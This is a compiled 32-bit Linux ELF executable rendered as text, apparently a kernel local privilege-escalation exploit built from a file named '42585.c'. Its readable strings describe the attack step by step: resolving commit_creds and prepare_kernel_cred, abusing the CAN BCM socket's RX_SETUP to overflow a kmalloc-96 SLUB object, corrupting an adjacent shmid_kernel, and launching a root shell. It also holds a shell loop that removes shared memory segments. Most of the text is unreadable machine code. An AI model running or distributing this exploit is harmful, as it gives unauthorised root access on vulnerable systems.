ELFЈ4È!4 (44€4€44�4�€€üü¯¯pÌ((¯(¯ÈÈHH�H�DDQåtdRåtd¯¯ìì/lib/ld-linux.so.2GNUGNUìöºnByRøR—Ešl„Aì  ­KãÀ±n“ ^X˜£<PøÒ)ãÜBŒ ªê{žvH7ñ0\–__gmon_start__libc.so.6_IO_stdin_usedsocketshmgetexitexeclfopenstrncmpstrrchrshmat__isoc99_sscanfconnectputs__stack_chk_failprintfmmapfgetssendmemsetstrstr__errno_location__isoc99_fscanfsetresgidmemcpyfclosemallocgetgidsetresuidsystemgetuidstrcmp__libc_start_mainGLIBC_2.4GLIBC_2.1GLIBC_2.7GLIBC_2.0ii )ii 3ii =ii G𯰰° °°°°° ° $° (° ,° 0° 4°8°<°@°D°H°L°P°T°X°\°`°d°h°l°p°t°x°U‰åSƒìè[�ÃH)‹“üÿÿÿ…Òtè^è™èDX[ÉÃÿ5ø¯ÿ%ü¯ÿ%°héàÿÿÿÿ%°héÐÿÿÿÿ%°héÀÿÿÿÿ% °hé°ÿÿÿÿ%°h é ÿÿÿÿ%°h(é�ÿÿÿÿ%°h0é€ÿÿÿÿ%°h8épÿÿÿÿ% °h@é`ÿÿÿÿ%$°hHéPÿÿÿÿ%(°hPé@ÿÿÿÿ%,°hXé0ÿÿÿÿ%0°h`é ÿÿÿÿ%4°hhéÿÿÿÿ%8°hpéÿÿÿÿ%<°hxéðþÿÿÿ%@°h€éàþÿÿÿ%D°hˆéÐþÿÿÿ%H°h�éÀþÿÿÿ%L°h˜é°þÿÿÿ%P°h é þÿÿÿ%T°h¨é�þÿÿÿ%X°h°é€þÿÿÿ%\°h¸épþÿÿÿ%`°hÀé`þÿÿÿ%d°hÈéPþÿÿÿ%h°hÐé@þÿÿÿ%l°hØé0þÿÿÿ%p°hàé þÿÿÿ%t°hèéþÿÿÿ%x°hðéþÿÿ1í^‰áƒäðPTRh–h •QVhy•è�þÿÿô��������������U‰åSƒì€= °u?¡¤°» ¯�ë¯Áûƒë9Øs�¶ƒÀ£¤°ÿ…¯¡¤°9ØrèÆ °ƒÄ[]Ã�t&�¼'U‰åƒì¡$¯…Àt¸…Àt Ç$$¯ÿÐÉÃ�U‰åSƒì‰Eô‰Uð‹²‹ˆ²¸ÿÒÿÓ¸ÿÿÿÿƒÄ[]ÃU‰å�ìX‹E‰…Ôýÿÿe¡‰Eô1ÀÇ…èýÿÿº`–¸b–‰T$‰$èþÿÿ‰…ìýÿÿƒ½ìýÿÿ…º`–¸q–‰T$‰$èéýÿÿ‰…ìýÿÿƒ½ìýÿÿu ¸éÇ…äýÿÿéу½äýÿÿu@�•Üýÿÿ¸}–��ôýÿÿ‰L$��óýÿÿ‰L$ ‰T$‰D$‹…ìýÿÿ‰$è“üÿÿ‰…èýÿÿé�•Üýÿÿ¸‡–��ôýÿÿ‰L$ ‰T$‰D$‹…ìýÿÿ‰$è]üÿÿ‰…èýÿÿƒ½èýÿÿ…ÅÇD$Ž–�…ôýÿÿ‰$èTýÿÿ…À…(ÇD$’–�…ôýÿÿ‰$è6ýÿÿ…À… ÇD$_�…ôýÿÿ‰$èˆüÿÿ‰…àýÿÿ�…ôýÿÿƒÀ9…àýÿÿv\‹…àýÿÿƒèÇD$ÇD$––‰$è0ýÿÿ…Àu7ƒ­àýÿÿ냭àýÿÿ�…ôýÿÿ9…àýÿÿv‹…àýÿÿƒè¶<_tÛ‹…àýÿÿƃ½èýÿÿu#¸š–�•ôýÿÿ‰T$‰D$‹…ìýÿÿ‰$è[ûÿÿëY�…ôýÿÿ‰D$‹…Ôýÿÿ‰$èÁüÿÿ…Àu=‹…Üýÿÿ‰Â¸ž–‰T$‹•Ôýÿÿ‰T$‰$èüÿÿ‹…ìýÿÿ‰$èÜûÿÿ‹…Üýÿÿë$�ë�ƒ½èýÿÿÿ…"þÿÿ‹…ìýÿÿ‰$èµûÿÿ¸‹Uôe3tèüÿÿÉÃU‰å�옋E‰…”þÿÿ‹E ‰…�þÿÿ‹E‰…Œþÿÿe¡‰Eô1ÀÇD$ÇD$�…´þÿÿ‰$èàúÿÿÇD$@ÇD$�E´‰$èÅúÿÿº`–¸¼–‰T$‰$è?ûÿÿ‰…°þÿÿƒ½°þÿÿu¸Ì–‰$è3ûÿÿÇ$è·ûÿÿ‹…°þÿÿ‰D$ÇD$ÿ�…´þÿÿ‰$èWúÿÿë�‹…°þÿÿ‰D$ÇD$ÿ�…´þÿÿ‰$è4úÿÿºø–�…´þÿÿ��¤þÿÿ‰L$��¨þÿÿ‰L$ �M´‰L$‰T$‰$èÒùÿÿ‹•¤þÿÿ‹…¨þÿÿ‰Ñ)Á‰È‰…¬þÿÿ‹…”þÿÿ‰D$�E´‰$èûÿÿ…À…xÿÿÿ‹…°þÿÿ‰$è?úÿÿƒ½�þÿÿt‹•¨þÿÿ‹…�þÿÿ‰ƒ½Œþÿÿt‹•¤þÿÿ‹…Œþÿÿ‰‹…¬þÿÿ‹Uôe3tèjúÿÿÉÃU‰åSƒìtÇ$—èuúÿÿÇD$ÇD$Ç$è¹ùÿÿ‰Eèƒ}èyÇ$ —èDúÿÿÇ$èhúÿÿÇ$L—è,úÿÿÇD$ÇD$�E¨‰$èùÿÿfÇE¨�E¨ÇD$‰D$‹Eè‰$èqøÿÿ‰Eäƒ}èyÇ$l—èÜùÿÿÇ$èúÿÿÇEàˆ‹Eà‰$èŽùÿÿ‰EÜ‹Eà‰D$ÇD$‹E܉$è¡øÿÿ‹EÜÇ@� ‹EÜÇ@ Ç$�—è�ùÿÿ‹EÜÇ‹EàÇD$ ‰D$‹E܉D$‹Eè‰$èGùÿÿ‰EäÇ$Ä—èHùÿÿÇ$ô—è øÿÿÇ$X˜è0ùÿÿ�E¸‰D$�E¼‰D$Ç$“˜èéüÿÿ‰Eì‹Uì‰ÐÁàÐÁà‰$èÎøÿÿ‰EØ‹Uì‰ÐÁàÐÀ‰EÔÇEôëP�E¸‰D$�E¼‰D$Ç$“˜èœüÿÿ‰Eìƒ}ìt7‹EôÁà‰Ã]ØÇD$ÇD$Ç$èéøÿÿ‰ƒEô‹Eô;EÔ|¨ë�‹Eô‰EЃ}ìtÇ$ ˜èpøÿÿÇ$è”øÿÿÇ$è˜èXøÿÿ‹EЉEô‹EôƒÀd‰EÔë-‹EôÁà‰Ã]ØÇD$ÇD$Ç$èpøÿÿ‰ƒEô‹Eô;EÔ|Ë‹EÜÇ‹EàÇD$ ‰D$‹E܉D$‹Eè‰$èØ÷ÿÿ‰Eäƒ}äyÇ$(™èÓ÷ÿÿÇ$è÷÷ÿÿ‹EЃÀd‰Eô‹EôƒÀd‰EÔë-‹EôÁà‰Ã]ØÇD$ÇD$Ç$èÜ÷ÿÿ‰ƒEô‹Eô;EÔ|ËÇ$T™èr÷ÿÿÇEÌHÇEȨ‹EÌÇD$ÇD$ÿÿÿÿÇD$ "ÇD$‰D$Ç$èÁõÿÿ‰Eĸ¤™‹UĉT$‹ỦT$‰$è³öÿÿÇ$Ì™è÷ÿÿ‹EĉEÜ‹ẺD$ÇD$‹E܉$èçõÿÿ‹EÜÇ@� ‹EÜÇ@ ‹EÜÇ‹EÌÇD$ ‰D$‹E܉D$‹Eè‰$è™öÿÿ‰Eäƒ}äÿt$è õÿÿ‹ƒøtÇ$šèˆöÿÿÇ$è¬öÿÿÇ$Hšèpöÿÿ‹EЉEô‹EôȉEÔëD‹EôÁàEØ‹ÇD$ÇD$‰$èõÿÿ‰Eäƒ}äÿuèœôÿÿ‹ƒø+u‹Eô‰Eðë ƒEô‹Eô;EÔ|´‹Eô;EÔuÇ$tšèýõÿÿÇ$è!öÿÿ‹EôÁàEØ‹¸¸š‰T$‹Uô‰T$‰$ènõÿÿÇ$ôšèÂõÿÿ‹EðÁàEØ‹��ÿ…ÀHÂÁø£¤±‹E܉EÀ‹EÀðÇD$PÇD$€±‰$èþôÿÿ‹EÜÇ‹EÌÇD$ ‰D$‹E܉D$‹Eè‰$èDõÿÿ‰Eäƒ}äÿt$è¶óÿÿ‹ƒøtÇ$šè3õÿÿÇ$èWõÿÿ‹EðÁàEØ‹ÇD$ÇD$‰$èäóÿÿ‰Eäƒ}äÿuxèfóÿÿ‹ƒø+tlÇD$ÇD$Ç$èôÿÿÇD$ÇD$Ç$èôÿÿÇ$-›è«ôÿÿÇD$ÇD$G›Ç$G›è¯óÿÿÇ$è³ôÿÿÇ$Q›èwôÿÿƒÄt[]ÃU‰åƒìÇ$l›è_ôÿÿÇ$‡›è”õÿÿ£²¡²…Àu Ç$”›è9ôÿÿÇ$½›ènõÿÿ£ˆ²¡ˆ²…Àu Ç$”›èôÿÿÇ$Ô›èôÿÿÇð°Çà²Çä²ÇD³À°ÇijijÇȳijÇ̳Çà±Çä±Çü±Çð± ²ÇL²„‰Çp²„‰Ç(±Çh±Ç²²Ç²²Ç²à±Ç ²±Ç² ²ÇŒ±èàòÿÿ£�±èfóÿÿ£”±èÌòÿÿ£˜±èRóÿÿ£œ±Ç ±ÿÿÿÿǬ±²ÉÃU‰åƒäðè{þÿÿè_øÿÿ¸‰ì]Ã��������������U‰åWVSèZ�ÃIƒìèçðÿÿ�» ÿÿÿ�ƒ ÿÿÿ)ÇÁÿ…ÿt$1ö‹E‰D$‹E ‰D$‹E‰$ÿ”³ ÿÿÿƒÆ9þrÞƒÄ[^_]Ã�¶U‰å]Ë$Ã�������U‰åSƒì¡¯ƒøÿt»¯f�ƒëÿЋƒøÿuôƒÄ[]Ã��U‰åSƒìè[�ìè¬òÿÿY[ÉÃr/proc/kallsyms/proc/ksyms%p %c %s %p %s _O/_S.smp%s [+] resolved symbol %s to %p /proc/slabinfo[-] sorry, /proc/slabinfo is not available!%s %u %u[+] creating PF_CAN socket...[-] kernel lacks CAN packet family support[+] connecting PF_CAN socket...[-] could not connect CAN socket[+] clearing out any active OPs via RX_DELETE...[+] removing any active user-owned shmids...for shmid in `cat /proc/sysvipc/shm | awk '{print $2}'`; do ipcrm -m $shmid > /dev/null 2>&1; done;[+] massaging kmalloc-96 SLUB cache with dummy allocationskmalloc-96[-] inconsistency detected with SLUB cache allocation, please try again[+] corrupting BCM OP with truncated allocation via RX_SETUP...[-] kernel rejected malformed CAN header[+] mmap'ing truncated memory to short-circuit/EFAULT the memcpy_fromiovec...[+] mmap'ed mapping of length %d at %p [+] smashing adjacent shmid with dummy payload via malformed RX_SETUP...[-] couldn't trigger EFAULT, exploit aborting![+] seeking out the smashed shmid_kernel...[-] could not find smashed shmid, trying running the exploit again![+] discovered our smashed shmid_kernel at shmid[%d] = %d [+] re-smashing the shmid_kernel with exploit payload...[+] launching root shell!/bin/bash[-] exploit failed! retry?[+] looking for symbols...commit_creds[-] symbol table not availabe, aborting!prepare_kernel_cred[+] setting up exploit payload...ÿÿÿÿÿÿÿÿ  † <–õþÿoŒ�¼ƒ¬� Q ô¯ø¨… …þÿÿoP…ÿÿÿoðÿÿo…(¯æ†ö†‡‡&‡6‡F‡V‡f‡v‡†‡–‡¦‡¶‡ƇÖ‡æ‡ö‡ˆˆ&ˆ6ˆFˆVˆfˆvˆ†ˆ–ˆ¦ˆ¶ˆƈGCC: (Ubuntu/Linaro 4.5.2-8ubuntu4) 4.5.2GCC: (Ubuntu/Linaro 4.5.2-8ubuntu3) 4.5.2.symtab.strtab.shstrtab.interp.note.ABI-tag.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.eh_frame.ctors.dtors.jcr.dynamic.got.got.plt.data.bss.comment4�4#H�H 1h�h$DöÿÿoŒ�Œ N ¬�¬V¼ƒ¼Q^ÿÿÿo…BkþÿÿoP…PPz  … ƒ ¨…¨ø Œ † 0‡ІÐ’ЈÐl ˜<–<žX–Xž¦ø›ø°¯·¯¾$¯$Ã(¯(ÈÌð¯ðÑô¯ôˆÚ|°| à °„ @ å0„ TØ îP& , ð,¤4�H�h�Œ�¬�¼ƒ…P… … ¨…  † І Ј <–X–ø›¯¯$¯(¯ð¯ô¯|° °ñÿ ¯¯($¯5‰ K °Z¤°h`‰ ñÿt¯�ø›�$¯›– ±ñÿ¹ô¯Ï¯à¯ó(¯ü|° #ÿ“z )<L– \Ј c~ � ¡X–¨Ã<–ÉÛìýÀ°48I\±leè� mCŒ¥ |\–‹ €±P­|°ºÏáౠ脉- ô±‰’ ÿ#4²A€°N ¯[ •Z k}�¡„°ñÿ­¿Û²à ²hãóà³ñÿøˆ² ²@"5„°ñÿ<N^– u‡™y• ž † crtstuff.c__CTOR_LIST____DTOR_LIST____JCR_LIST____do_global_dtors_auxcompleted.6155dtor_idx.6157frame_dummy__CTOR_END____FRAME_END____JCR_END____do_global_ctors_aux42585.c_GLOBAL_OFFSET_TABLE___init_array_end__init_array_start_DYNAMICdata_start__errno_location@@GLIBC_2.0setupconnect@@GLIBC_2.0mmap@@GLIBC_2.0__libc_csu_fini_start__isoc99_fscanf@@GLIBC_2.7__gmon_start___Jv_RegisterClasses_fp_hw__isoc99_sscanf@@GLIBC_2.7_finisystem@@GLIBC_2.0shmat@@GLIBC_2.0fgets@@GLIBC_2.0memset@@GLIBC_2.0super_block__libc_start_main@@GLIBC_2.0execl@@GLIBC_2.0strrchr@@GLIBC_2.0vfsmounttriggercheck_slabinfo_IO_stdin_usedsetresuid@@GLIBC_2.0shmid_kernel__data_startsetresgid@@GLIBC_2.0socket@@GLIBC_2.0dentrykernel_codeget_symbolfclose@@GLIBC_2.1memcpy@@GLIBC_2.0fopen@@GLIBC_2.1commit_creds__dso_handle__DTOR_END____libc_csu_initprintf@@GLIBC_2.0getuid@@GLIBC_2.0strstr@@GLIBC_2.0__bss_startmalloc@@GLIBC_2.0__stack_chk_fail@@GLIBC_2.4fileopsend@@GLIBC_2.0_endputs@@GLIBC_2.0prepare_kernel_credinodestrncmp@@GLIBC_2.0_edatastrcmp@@GLIBC_2.0exit@@GLIBC_2.0__i686.get_pc_thunk.bxgetgid@@GLIBC_2.0shmget@@GLIBC_2.0main_init